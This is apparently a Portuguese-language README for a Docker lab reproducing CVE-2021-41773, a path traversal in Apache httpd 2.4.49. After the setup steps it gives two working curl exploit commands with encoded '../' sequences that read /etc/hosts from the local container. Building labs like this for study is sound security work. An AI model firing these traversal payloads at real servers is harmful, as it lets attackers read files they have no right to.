
Laboratório educacional baseado em Docker demonstrando o exploit de path traversal CVE-2021-41773 contra Apache httpd 2.4.49, com comandos de exploração baseados em curl.
Apenas para fins educacionais.
Veja a Referência para os detalhes.
$ git clone https://github.com/masahiro331/CVE-2021-41773.git
$ cd CVE-2021-41773
$ docker build -t cve-2021-41773 .
$ docker run -d -p 8080:80 cve-2021-41773
# Esta vulnerabilidade afeta o uso de Alias.
$ curl http://localhost:8080/cgi-bin/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts
$ curl http://localhost:8080/webpath/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts